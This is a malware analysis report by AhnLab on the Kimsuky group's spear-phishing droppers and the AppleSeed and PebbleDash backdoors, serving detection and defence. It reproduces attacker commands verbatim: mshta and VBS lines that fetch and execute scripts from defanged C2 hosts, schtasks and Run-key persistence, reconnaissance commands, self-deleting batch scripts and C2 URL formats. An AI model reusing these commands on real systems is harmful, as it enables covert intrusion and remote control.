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+AhnLab Cyber Threat Intelligence Report
+TLP: AMBER
+GREEN
+Analysis Report of
+Kimsuky Group's APT Attacks
+(AppleSeed, PebbleDash)
+AhnLab Security Emergency response Center (ASEC)
+November 16th, 2021
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Guide on Document Classification
+Publications or provided content can only be used within the scope allowed for each classification
+as shown below.
+Classification
+Distribution Targets
+TLP: RED
+Reports only provided for
+certain clients and tenants
+TLP: AMBER
+Reports only provided for
+limited clients and tenants
+TLP: GREEN
+Reports that can be used by
+anyone within the service
+TLP: WHITE
+Reports that can be freely
+used
+Notices
+Documents that can be only accessed by the
+recipient or the recipient department
+Cannot be copied or distributed except by the
+recipient
+Can be copied and distributed within the recipient
+organization (company) of reports
+Must seek permission from AhnLab to use the
+report outside the organization, such as for
+educational purposes
+Can be freely used within the industry and utilized
+as educational materials for internal training,
+occupational training, and security manager
+training
+Strictly limited from being used as presentation
+materials for the public
+Cite source
+Available for commercial and non-commercial
+uses
+Can produce derivative works by changing the
+content
+Remarks
+If the report includes statistics and indices, some data may be rounded,
+meaning that the sum of each item may not match the total.
+This report is protected by copyright law and as such,
+reprinting and reproducing it without permission is prohibited in all cases.
+Seek permission from AhnLab in advance
+if you wish to use a part or all of the report.
+If you reprint or reproduce the material without the permission of the organization
+mentioned above, you may be held accountable for criminal or civil liability.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The version information of this report is as follows:
+Version
+Date
+Details
+November
+16th, 2021
+Analysis Report on Kimsuky Group's APT Attacks (AppleSeed,
+PebbleDash) created
+November
+16th, 2021
+Added content
+November
+19th, 2021
+Added content and fixed typos
+CAUTION
+This report contains a number of opinions given by the analysts based on the
+information that has been confirmed so far. Each analyst may have a different
+opinion and the content of this report may change without notice if new
+evidence is confirmed.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Table of Contents
+Overview .............................................................................................................................................................. 6
+1. Distribution method .......................................................................................................................................... 6
+1.1. Script ......................................................................................................................................................... 7
+1.2. Executable File (pif) ................................................................................................................................ 10
+1.2.1. Thread #1 ........................................................................................................................................ 11
+1.2.2. Thread #2 ........................................................................................................................................ 11
+1.2.3. Thread #3 ........................................................................................................................................ 16
+1.2.4. Thread #4 ........................................................................................................................................ 16
+1.3. Additional Script ...................................................................................................................................... 16
+1.3.1. Primary Script .................................................................................................................................. 16
+1.3.2. Secondary Script ............................................................................................................................. 17
+2. Analysis of Downloader Malware .................................................................................................................. 18
+2.1. Downloader ............................................................................................................................................. 19
+2.1.1. Install Process ................................................................................................................................. 19
+2.1.2. Downloader Behavior ...................................................................................................................... 20
+3. Analysis of AppleSeed ................................................................................................................................... 21
+3.1. Analysis of Default Features ................................................................................................................... 23
+3.1.1. Initial Routine ................................................................................................................................... 23
+3.1.2. Installation ........................................................................................................................................ 24
+3.1.3. Privilege Escalation ......................................................................................................................... 26
+3.1.4. Thread ............................................................................................................................................. 26
+3.2. Analysis of Info-stealing Feature ............................................................................................................ 30
+3.2.1. Information Theft.............................................................................................................................. 31
+3.2.2. Additional Commands ..................................................................................................................... 34
+3.3. C&C Communication Using Emails ........................................................................................................ 35
+3.3.1. Ping Thread (SMTP) ........................................................................................................................ 36
+3.3.2. Command Thread (IMAP) ............................................................................................................... 36
+4. Analysis of PebbleDash ................................................................................................................................. 38
+4.1. Analysis of Initial PebbleDash ................................................................................................................ 39
+4.1.1. Initial Routine ................................................................................................................................... 39
+4.1.2. Recovering Settings Data ................................................................................................................ 42
+4.1.3. C&C Communications ..................................................................................................................... 45
+4.1.4. Performing Commands .................................................................................................................... 49
+4.2. Analysis of Latest PebbleDash ............................................................................................................... 51
+4.2.1. Initial Routine ................................................................................................................................... 51
+4.2.2. Recovering Settings Data ................................................................................................................ 53
+4.2.3. C&C Communications ..................................................................................................................... 54
+4.2.4. Performing Commands .................................................................................................................... 57
+5. Post Infection ................................................................................................................................................. 58
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+5.1. Remote Control....................................................................................................................................... 58
+5.1.1. Meterpreter ...................................................................................................................................... 58
+5.1.2. HVNC (TinyNuke) ............................................................................................................................ 60
+5.1.3. TightVNC ......................................................................................................................................... 63
+5.1.4. RDP Wrapper .................................................................................................................................. 64
+5.2. RDP Related ........................................................................................................................................... 64
+5.2.1. Adding RDP User ............................................................................................................................ 64
+5.2.2. RDP Patcher .................................................................................................................................... 64
+5.3. Privilege Escalation ................................................................................................................................ 65
+5.3.1. UACMe ............................................................................................................................................ 65
+5.3.2. CVE-2021-1675 Vulnerability .......................................................................................................... 67
+5.4. Collecting Information ............................................................................................................................. 69
+5.4.1. Mimikatz ........................................................................................................................................... 69
+5.4.2. Collecting Chrome Account Credentials .......................................................................................... 70
+5.4.3. Keylogger ......................................................................................................................................... 70
+5.5. Others ..................................................................................................................................................... 71
+5.5.1. Proxy Malware ................................................................................................................................. 71
+AhnLab's Response ........................................................................................................................................... 72
+Conclusion ......................................................................................................................................................... 75
+IOC (Indicators Of Compromise) ....................................................................................................................... 75
+File Path and Name ....................................................................................................................................... 75
+File Hashes (MD5) ......................................................................................................................................... 77
+Related Domain, URL, and IP Address ......................................................................................................... 83
+Reference .......................................................................................................................................................... 87
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Overview
+This document is an analysis report on types of malware recently utilized by the Kimsuky group. The
+Kimsuky group is mainly known for launching social engineering attacks, such as spear phishing. Judging
+by the names of the attached files, the group seems to be targeting those working in the fields related to
+North Korea and foreign affairs. According to the scan logs of AhnLab's ASD infrastructure, the threat
+group has been mainly targeting individual users rather than companies, but has also been continuously
+attacking public institutions and companies. Korean universities have been one of their major targets, but
+records exist of them attacking IT, information and communications, and construction institutions as well.
+Normally, malware strains assumed to be attachments of spear phishing attack emails are disguised as
+document files. If a user executes the file, malware of this type executes the document that corresponds
+to the disguised file name and tricks the user into thinking that they have opened a normal file. It installs
+additional malware strains at the same time, mainly AppleSeed and PebbleDash. AppleSeed has been
+present since 2019 and when compared to other malware strains based on the IOCs organized by AhnLab,
+it takes up a significant portion due to being used in various other attacks. PebbleDash is one of the
+NukeSped variants, known for having been used by the Lazarus group since the past. Recently, it has
+been found that a new variant is being used for attacks along with AppleSeed.
+They are both backdoors used by the Kimsuky group that can stay in the system and perform malicious
+behaviors by receiving commands from the attacker. The attacker can use backdoor to install another
+remote control malware, such as Meterpreter and HVNC. The attacker can also install various other types
+of malware for privilege escalation and account credential theft.
+This report will analyze the overall flow of attacks using AppleSeed and PebbleDash, starting from
+malware strains that are initially distributed. As both malware types are not confined to a single form, this
+report will compare each type and focus on similarities and differences, and also explain in detail other
+types of malware that the two malware additionally install.
+1. Distribution method
+Lately, the Kimsuky group has been mainly distributing malware via spear phishing email attachments.
+Malware that creates AppleSeed or PebbleDash is usually disguised as a document file, such as pdf, docx,
+and hwp. These malware strains take a disguise of document files that discuss current affairs, such as
+diplomacy, defense, and COVID-19. However, the attacker does use other file types, such as jpg image
+or specific dat depending on the attack target. The files thought to be attached to spear phishing emails
+the initial distribution files
+all have either an executable file or script format.
+The script file is a wsf or js format malware, which creates and executes a normal document file that
+corresponds to the disguised name when it is run to make the user think that a normal document file has
+been opened. The executable is the same as the script file in terms of its distribution method and behaviors.
+One thing to note is that the file is distributed in PIF extensions.
+Both the script and the executable show normal document files upon being executed and installed
+internally encoded malware into the system. When backdoors, such as AppleSeed or PebbleDash, are
+installed successfully, they can communicate with the C&C server afterward to steal information about the
+user environment or install additional malware.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+1.1. Script
+Samples distributed in the script form can all be executed immediately on Windows. Upon being executed,
+they create and run AppleSeed malware and normal document files. The confirmed samples take the form
+of JS or WSF file, as shown in Figure 1. They have different extensions but are functionally the same, as
+each is configured in the same JS code.
+Figure 1. WSF (left) and JS sample (right)
+The samples can also be divided into two types depending on the method of code implementation. Figure
+1 shows samples that declare function at the start because they have features, such as decoding, autodelete, and file deletion, implemented as separate functions. Figure 2 shows another sample that makes
+no use of functions and starts with the try - catch statement.
+Figure 2. Sample without functions
+Both types essentially perform the same behaviors. Decoding the Base64-encoded data yields AppleSeed
+malware and a normal document file. The malware creates two files in a particular path and executes
+them.
+- Command: powershell.exe -windowstyle hidden regsvr32.exe /s [AppleSeed malware path]
+For Base64 decoding, the samples with functions use a method of running Powershell command, and
+samples that do not declare functions use certutil.exe to decode the file, as shown in Figure 3.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 3. Decoding using certutil.exe
+Some samples may additionally access a particular URL as shown in Figure 4. It appears that the samples
+do so to report the infection status.
+Figure 4. Accessing URL to report infection
+The name of the normal document file created in the process above is similar to the name of the distributed
+file with its content related to the file name.
+Figure 5. image_confirm_v1.jpg file
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 6. High-frequency transfer switch default performance temperature testing report.hwp
+Figure 7. *** News 2021-05-07.pdf file
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 8. 0421.hwp file
+1.2. Executable File (pif)
+For samples distributed in the PIF form, they create and execute malware and normal documents while
+performing additional malicious behaviors through mstha at the same time. This report will list the analysis
+information of the "Progress Check_211013.pif (aa65c226335539c162a9246bcb7ec415) sample."
+When the malware is executed, it creates four threads, as shown in Table 1. Each thread has a specialized
+feature that is summarized in the following table.
+Thread
+Behavior
+Thread #1
+Creating and running AppleSeed malware
+Thread #2
+Creating and running normal document file
+Thread #3
+Running mshta for performing additional
+malicious behaviors
+Thread #4
+Creating and running auto-delete BAT file
+Table 1. Summary of behavior for each thread
+Most PIF droppers, including the analysis target sample, install VBS malware using mshta. However,
+some samples do not follow this pattern. Some samples lack the dropper feature that installs additional
+malware, while others install certain downloader malware types or malware that adds an RDP account.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+There have also been samples with different internal code configurations that install PebbleDash backdoor
+instead of AppleSeed.
+1.2.1. Thread #1
+Thread #1 in the sample creates a folder in the following path and installs AppleSeed.
+- Path %APPDATA%\Media
+- Filename wmi-ui-[random name].db
+- File Hash cae87921ea508d6c8d8c1de9dd769ae1
+The following decryption routine is used, notably utilizing a MMX command.
+Figure 9. Data decryption routine
+When the file is decrypted and created, the sample uses the ShellExecuteExW() function to run the
+malware through regsvr32.exe.
+Execution
+Argument: C:\Windows\system32\regsvr32.exe
+name]\AppData\Roaming\Media\wmi-ui-947ef993.db"
+"C:\Users\[user
+1.2.2. Thread #2
+Thread #2 thread creates and executes the normal document file to trick users into thinking that they have
+opened an innocuous document file, not a malware. It uses the same algorithm used in Thread #1 during
+the document creation process to decrypt the data. The normal document created usually uses a name
+similar to the filename of the distributed malware with contents related to the title.
+Examples of normal documents are shown in Figure 10. One thing to note is that the file with .h5
+extensions use HDF (Hierarchical Data Format) file format, which is not widely used.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 10. Process Check_211013.pdf file
+Figure 11. JR_210604_R1***_F***_Pf***.pptx file - (certain strings blurred as ***)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 12. 211014-915mm(0deg).h5 file
+Figure 13. [Business Cooperation Agreement] Cooperation (Old 2) 21-001_Cooperation
+request for tasks related to purchase order for development and purchase & incoming
+inspection process_Purchase Team 2.pdf file
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 14. 2021 *** Work Report Edited.pdf file
+Figure 15. 1. 2021 Business Plan (Supplemented by referencing materials from Installation
+Agency) - 210316-1.hwp file
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 16. 210927 COVID-19 Response (Boryeong-Taean 1)_merged.hwp file
+Figure 17. ROK-US summit (May 21st) Reference Material (edited).hwp file
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+1.2.3. Thread #3
+Thread #3 executes scripts using mstha to perform additional malicious behaviors. It executes the
+following command through the CreateProcessA() function. As for the script malware that is downloaded
+and executed through mshta.exe, it will be discussed in 1.3. Additional Script.
+- Command: mshta.exe hxxp://get.seino.p-e[.]kr/?query=5
+1.2.4. Thread #4
+The thread creates a BAT file with a random name in the %TEMP% directory and executes it via the
+CreateProcessW() function. The executed script, which is a command that deletes the created BAT file is
+shown below.
+The main thread is configured to be terminated after all additionally created threads are completed. When
+the malware is terminated, the executed BAT file deletes itself and the BAT script.
+:goto_redel
+rd /s /q "[executable file name]"
+del "[executable file path]"
+if exist "[executable file path]" goto goto_redel
+del "C:\Users\[user name]\AppData\Local\Temp\[random name].tmp.bat"
+1.3. Additional Script
+The PIF dropper malware mentioned earlier installs AppleSeed backdoor to trick users into thinking that
+they are opening an innocuous document file. Also, it also installs additional external payloads. To do so,
+it downloads a script through mshta.exe from the third thread and executes it. The downloaded VBS script
+can send basic information of the infected environment and download additional malware.
+1.3.1. Primary Script
+First, the short VBS script is downloaded through mshta.exe and executed. The code simply requests a
+certain URL and executes another VBS script received as a response.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 18. First Script (Deobfuscated)
+The second script that is run by the script above is a VBS script, consisting of approximately one hundred
+lines. It steals information about the infected system and sends it to the C&C server. A function that can
+download and execute files is also included, but it may not always be executed depending on the situation.
+1.3.2. Secondary Script
+To collect the information of the infected system, the script first executes the following commands and
+saves the result as a file MSO2069.acl.
+> hostname
+> systeminfo
+> net user
+> query user
+> route print
+> ipconfig /all
+> arp -a
+> netstat -ano
+> tasklist
+> tasklist /svc
+The file is encoded with certutil.exe that is a default Windows program and saved as a file with the name
+MSO2079.acl, which is then sent to the C&C server. The data sent takes a disguise of something similar
+to a certificate to bypass detection as shown in Figure 19.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 19. Example of packet content that is sent to C2 server
+Afterward, the script registers the following two commands to the task scheduler.
+> cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR "wscript //e:vbscript //b
+C:\ProgramData\Chrome\.NetFramework.xml" /f
+> cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR "regsvr32 /s
+C:\ProgramData\Chrome\update.cfg" /f
+The content of the .NetFramework.xml file that is created by the script is shown below. It accesses a
+particular URL and executes the script that is sent in response.
+Error
+Resume
+Next:Set
+sztnfpcgijjomecl
+CreateObject("MSXML2.ServerXMLHTTP.6.0"):sztnfpcgijjomecl.open "POST", "hxxp://get.seino.pe[.]kr/index.php?query=6", False:sztnfpcgijjomecl.Send:Execute(sztnfpcgijjomecl.responseText):
+The script that was downloaded during the analysis is a code that forcibly terminates the mshta.exe
+process that is currently being executed as shown below.
+Set WShell=CreateObject("WScript.Shell"):retu=WShell.run("cmd /c taskkill /im mshta.exe /f" , 0 ,true)
+In essence, one task downloads an additional script from external sources and executes it. The other task
+executes a file in a certain path using regsvr32. If the attacker responds with a script that installs additional
+malware files in the C:\ProgramData\Chrome\update.cfg path instead of the auto-termination script, the
+additional malware will be executed by the second task scheduler.
+2. Analysis of Downloader Malware
+As mentioned earlier, there is a downloader malware among those installed by the PIF dropper. This
+malware operates after being registered to the task scheduler and essentially performs the role of a
+downloader: periodically accessing the C&C server to download and execute additional payloads.
+Currently, multiple downloader malware types can be checked in AhnLab's ASD infrastructure. They likely
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+created malware strains used by the Kimsuky group. Note that according to a report made by S2W LAB,
+there has been cases of the downloader malware downloading and installing the Meterpreter backdoor in
+infected environments.1
+2.1. Downloader
+2.1.1. Install Process
+As for the analysis sample, when the downloader malware is executed, it first creates the Intel folder in
+the %ALLUSERSPROFILE% (ProgramData) folder and copies itself with the name "Driverdriver.cfg."
+Most samples choose ProgramData as the installation folder, but some select %APPDATA%
+(\AppData\Roaming) instead. There are also cases of the file name being driver.cfg instead of
+Driverdriver.cfg.
+When the copying process is over, the malware executes the file in the copied path using regsvr32.exe.
+The actual malicious behaviors are performed in the downloader process that is executed following the
+steps shown above. When the install process is over, the file that is initially executed is auto-deleted. It is
+a method that uses a batch file and is frequently employed by malware strains that were recently used by
+the Kimsuky group.
+Figure 20. Auto-delete Batch file
+It then checks for concurrent execution using a mutex. The sample for the current analysis uses the
+following name for the mutex:
+- Mutex: windows update server real time mui cache"
+The malware uses a unique 8-byte sized random binary data to check whether the system is infected or
+not. It first scans for the following registry key. If the key does not exist, it creates a random 0x08 byte
+binary value and uses this value for the registry shown below. The value is used to communicate with the
+C&C server.
+- Added Registry Key: HKCU\Software\Microsoft\FTP / Use Smtp
+https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-
+really-fall-on-newtons-head/
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Figure 21. Created registry key
+The malware registers the following command to the task scheduler so that it executes every 30 minutes.
+> schtasks /create /f /tn "Intel\Disk\Volume1" /tr
+"C:\ProgramData\Intel\Driverdriver.cfg"" /sc minute /mo 30
+"C:\Windows\system32\regsvr32.exe
+2.1.2. Downloader Behavior
+The malware uses the HTTP protocol and the following three types of queries to communicate with the
+C&C server. u is the unique identifier that was discussed earlier, and i means a command. p appears to
+be a secondary parameter, but as the malware has a simple structure, it would not have much significance.
+- Format: http://[C&C URL]/init/image?i=[command]&u=[unique identifier]&p=[secondary parameter]
+Query
+Meaning
+Command
+Unique
+Identifier
+Secondary
+Parameter
+Table 2. Queries used for C&C communications
+Command
+Type
+Feature
+Init
+Establish
+connection
+Ping
+PING
+Down
+Download
+complete
+Table 3. Types of commands used
+The following URL is used when the malware initially connects with the C&C server. The
+"6352db963f367e75" part is the 8-byte binary data that was randomly generated and saved in the registry
+key converted into a string.
+- Example: http://[C&C URL]/init/image?i=init&u=6352db963f367e75&p=ya
+The User-Agent string used to communicate with the C&C server is as follows:
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
+Chrome/79.0.3945.130
+The malware then sends a PING query. Up until this part of the process, the data received from the C&C
+server is not used. It seems that this part is a reset process for the sample to send infection status to the
+C&C server and download additional files.
+- Example: http://[C&C URL]/init/image?i=ping&u=6352db963f367e75&p=wait..
+Now the actual downloading begins. The download URL is "[random 8-byte string].down" as shown below.
+- Format: http://[C&C URL]/init/[Unique Identifier].down
+- Download URL Example: http://[C&C URL]/init/6352db963f367e75.down
+The downloader downloads files using the URLDownloadToFileW() API without going through any
+complicated processes. The download path is shown below. The name of the file also has a random value
+in the "cachew[random name].cache" format.
+- Download Path Example: C:\ProgramData\Intel\Driver\cachew-671417171.cache
+As the downloaded file is encoded with 4-byte Xor, it needs to be additionally decoded.
+Figure 22. Hard-coded 0x4 Byte Xor key
+- Xor Key: 96 50 28 44
+The decoded malware is executed. As the downloader uses regsvr32.exe upon executing it, the additional
+payloads likely only exist as DLLs. After the process is over, the result is sent to the C&C server using the
+example URL shown below.
+- Example: http://[C&C URL]/init/image?i=down&u=6352db963f367e75&p=ya
+3. Analysis of AppleSeed
+Among types of malware installed through the script malware or PIF dropper, there is a backdoor called
+AppleSeed. It performs commands it received from the attacker via the C&C server and sends the result
+back. It also includes features, such as a downloader that installs additional malware strains, performs
+keylogging and screenshots, and steals information by collecting files from the user system.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The malware is mainly divided into two types depending on the C&C communications method. Most of
+them use the HTTP protocol, but some strains communicate with C&C through emails. There are also
+other differences in features. Not every type of AppleSeed is equipped with the info-stealing feature. Some
+types may only contain basic features of receiving and executing additional malware or commands from
+the C&C server. Among all samples, this report will discuss those that use HTTP or emails to communicate
+with C&C and those that include info-stealing features.
+Some samples appear to contain binaries built using debug mode by the attacker. As such, one can check
+the debug messages designated by the developer for each function as shown in Figure 23.
+Figure 23. Debug message output routine included in function
+Figure 24. DebugView log
+The target chosen for the analysis is a sample built in debug mode, the one that can be examined to
+confirm the developer's intention. However, as the discussed sample's info-stealing feature is disabled,
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+another sample with the feature will be analyzed for the section explaining such feature. As all of the
+samples use the HTTP protocol, AppleSeed sample that communicates with the C&C server via email will
+be discussed.
+- Only has default features: 739d14336826d078c40c9580e3396d15
+- Possesses additional info-stealing feature: 2cb77491573acc5e8198d8cf68300106
+- Communicates with C&C via email: dacb71c5eac21b41bb8077fe2e9f5a25
+3.1. Analysis of Default Features
+3.1.1. Initial Routine
+Upon execution, AppleSeed first goes through API Resolving in the initialization routine. The names of the
+API functions that will find the URL are all encoded, and these encoded strings are a trait of AppleSeed.
+Besides API functions, AppleSeed harbors most of the strings, such as C&C URL and User-Agent, in
+encoded forms as shown in Figure 25.
+Figure 25. Obfuscation for strings used in AppleSeed
+original
+version
+string
+that
+decoded
+first
+("9d99c9fe01bc57d39df2546955a7021a9fe6567457fb001a9dad543755e70258") is "kernel32.dll." The
+string is mainly divided into two parts. The first 16 characters are used as a key for Xor encryption, and
+the part after the initial 16 characters is the original string that is encrypted and saved.
+- Xor Key: 9d99 c9fe 01bc 57d3
+- Encoded String (Xor Key): 9df2 5469 55a7 021a 9fe6 5674 57fb 001a 9dad 5437 55e7 0258
+Note that the Xor encoding method used is not a simple one; the following encrypted strings are
+simultaneously used for the next Xor encoding.
+( XorKeyn xor EncStrn-1 ) xor EncStrn
+( 0x9d99 xor 0x0000 ) xor 0x9df2 = 0x006b = "k"
+( 0xc9fe xor 0x9df2 ) xor 0x5469 = 0x0065 = "e"
+( 0x01bc xor 0x5469 ) xor 0x55a7 = 0x0072 = "r"
+( 0x57d3 xor 0x55a7 ) xor 0x021a = 0x006e = "n"
+( 0x9d99 xor 0x021a ) xor 0x9fe6 = 0x0065 = "e"
+( 0xc9fe xor 0x9fe6 ) xor 0x5674 = 0x006c = "l"
+( 0x01bc xor 0x5674 ) xor 0x57fb = 0x0033 = "3"
+( 0x57d3 xor 0x57fb ) xor 0x001a = 0x0032 = "2"
+( 0x9d99 xor 0x001a ) xor 0x9dad = 0x002e = "."
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+( 0xc9fe xor 0x9dad ) xor 0x5437 = 0x0064 = "d"
+( 0x01bc xor 0x5437 ) xor 0x55e7 = 0x006c = "l"
+( 0x57d3 xor 0x55e7 ) xor 0x0258 = 0x006c = "l"
+After API Resolving, the malware finds the settings data. The data is encoded with the same algorithm
+that was mentioned above. The data found includes the host and path of the C&C server, path to install
+the DLL file, prefix that will be used as PCID, etc. The following is the settings data decoded from the
+current analysis target sample.
+Settings Item
+Decoded String
+C&C URL
+"yes24-mart.pe[.]hu"
+C&C Path
+"/bear"
+Installation Path
+"Software\Microsoft\Windows\Defender"
+PcID Prefix
+"D_Regsvr32"
+Table 4. AppleSeed settings data
+3.1.2. Installation
+AppleSeed, which is a DLL format, is executed by regsvr32.exe. One of its characteristics is that it is
+always installed on a certain path. The installation path is usually inside %ALLUSERSPROFILE%
+(ProgramData), but some samples are installed inside %APPDATA%.
+The current analysis target sample is installed in %ALLUSERSPROFILE% with the exact path being
+"Software\Microsoft\Windows\Defender" (extracted from the settings data shown in Table 4). The name
+of the installer is AutoUpdate.dll. It copies itself to create a batch file in
+the %ALLUSERSPROFILE%\temp\ path with the original being deleted after. The path is later registered
+to the auto-run registry Run key with the name "WindowsDefenderAutoUpdate" to allow the file to be
+executed upon reboot.
+Figure 26. BAT file used for auto-delete
+The malware then uses a mutex to check the concurrent execution. The mutex used by the current
+analysis sample is "DropperRegsvr32-20210504113516." As the Export DLL Name is "dropperregsvr32(x86).dll" and the DLL has a similar TimeStamp with the date information shown in the mutex
+name which appears to represent the malware's name that was decided during the development and its
+creation date.
+a. Execution Method
+The sample analyzed above is ultimately executed by being loaded through the regsvr32.exe process.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+But there are samples where the AppleSeed backdoor is loaded and executed by a different process. For
+instance, the 541fa4fb60690ffbe48b24cd2eeda32e sample is loaded and executed by the explorer.exe
+process, the Windows Explorer that is currently being executed. It is initially loaded and executed by the
+regsvr32.exe process, but then it copies itself to the %TEMP% path and uses the DLL injection technique,
+shown in Figure 27, to make explorer.exe load AppleSeed.
+Figure 27. DLL injection technique using CreateRemoteThread() API
+The method discussed above is a normal DLL injection technique, but there are other techniques as well,
+such as decoding AppleSeed that takes the form of Reflective DLL Loader and injecting it into
+explorer.exe. There have also been multiple samples that target Internet Explorer (iexplore.exe) instead
+of explorer.exe for injection.
+One sample type (8355964a47f248ed39caccb733aabc44) uses the DLL hijacking technique. It first
+creates a normal program ALUpdate.exe (639abb6eb9e29b15c61feb7858d2ab40) in the
+\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe path and copies itself into the same path with the
+name "ko-kr.dll." When the normal program ESTUpdate.exe is executed, DLL is loaded and executed.
+Figure 28. Execution method using DLL hijacking technique
+b. Maintain Persistence
+The sample mentioned in Figure 28 registers the following Run key to maintain persistence.
+- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
+ WindowsDefenderAutoUpdate
+ regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll"
+Besides the Run key, AppleSeed samples such as 4e58ea982e3e95fe7b1bdb480ab9810e may use the
+RunOnce key to maintain persistence.
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
+ ESTsoftAutoUpdate
+ regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll"
+The samples that employ the DLL hijacking method use the task scheduler to execute ALUpdate.exe
+program.
+- schtasks /create /sc minute /mo 10 /tn "ESTSoft\EST Software Auto Updater" /tr C:\Users\[User
+Name]\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe /f
+3.1.3. Privilege Escalation
+At this stage, the malware checks if UAC is disabled in the current system. If the following registry keys
+all have 0 as their values, the sample will consider UAC to be disabled.
+- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+ ConsentPromptBehaviorAdmin
+- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
+ PromptOnSecureDesktop
+When the UAC is disabled and the system does not have the administrator privilege, it executes its own
+path and regsvr32.exe as executed as administrator. Since UAC is already disabled, privilege escalation
+becomes possible without the UAC pop-up. For the system that currently has admin privilege, the malware
+enables the SeDebugPrivilege privilege.
+3.1.4. Thread
+AppleSeed executes thPingCmd which works as the main thread. The thread simply executes two threads
+in the span of 60 seconds. The first thread is named sendHttpPing, which periodically communicates with
+the C&C server to maintain connection. The second thread is named dropAndRunCmd and performs
+malicious behaviors by receiving commands from the server.
+The following table shows the URLs used by AppleSeed to communicate with the C&C server.
+Mode
+Feature
+ping
+/?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion]
+Maintaining connection with the
+C&C server
+Sending command
+results
+/?m=b&p1=[PcID]&p2=a
+Downloading
+commands
+/?m=c&p1=[PcID]
+Downloading commands from the
+C&C server
+Download complete
+/?m=d&p1=[PcID]
+Notifying completion of command
+download
+Sending CMD command results
+Table 5. List of URLs used
+"m" seems to mean "mode," with "a" being used for "ping", "b" for "commands", "c" for "downloading
+commands", and "d" for "completing downloading commands". These are all the URLs used in the sample,
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+but more types of URLs are used for the sample with the info-stealing feature enabled, and they will be
+discussed later when the sample is analyzed.
+a. sendHttpPing Thread
+The sendHttpPing thread is excuted every 60 seconds, sending the basic information of the infected
+system to the C&C server. Unlike other communication instances where only the PcID is sent, this thread
+also sends PcInfo and the malware version like the URL shown below.
+/?m=a&p1=[PcID]&p2=[PcInfo]-[MalwareVersion]
+The PcID used in this case combines the volume serial number and the user name such as "888a15a5testUser." PcInfo is a bit more complicated. It is a string that appears to show the Windows version (Major,
+Minor, and Build) as well as the architecture and the malware version. The malware version is the string
+"D_Regsvr32" that was obtained during the decoding process for previous settings data and the string
+that was decoded in the current thread 2.0 and 7.
+Item
+Format
+Example
+PcID
+[VolumeSerial]-[UserName]
+888a15a5-testUser
+PcInfo
+Win[MajorVersion].[MinorVersion].[Build][Architecture]
+Win6.1.7601x86
+Malware
+[D_Regsvr32]-v[2.0].[7]
+D_Regsvr32-v2.0.7
+Version
+Table 6. Format used for sending information about infected system - HTTP
+Figure 29. Process of obtaining PcInfo
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+The information is ultimately sent to the C&C server with the following URL:
+/bear/?m=a&p1=888a15a5-testUser&p2=Win6.1.7601x86-D_Regsvr32-v2.0.7
+b. dropAndRunCmd Thread
+This thread performs commands that it has received. After requesting the C&C server to send commands,
+it downloads and decrypts them to perform malicious behaviors, then sends back the result.
+It accesses the C&C server using the URL "/?m=c&p1=[PcID]" and downloads the data that includes
+commands. The User-Agent string used in the process is as follows:
+"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
+Chrome/74.0.3729.169 Safari/537.36"
+The downloaded data is saved as a file in the %ALLUSERSPROFILE%\temp\ path. Unlike average
+malware strains, AppleSeed saves features that can be processed within the memory as a file. So for
+every stage, such as downloading commands and unpacking and decrypting files, all the results are saved
+in the %ALLUSERSPROFILE%\temp\ path.
+When the download is finished, the malware accesses the C&C server via the URL "/?m=d&p1=[PcID]"
+to inform the server that the process has been completed. It is currently not possible to access the server,
+but it appears that the downloaded data starts with the "%PDF-1.7..4 0 obj" signature. AppleSeed begins
+the unpacking process after scanning the signature.
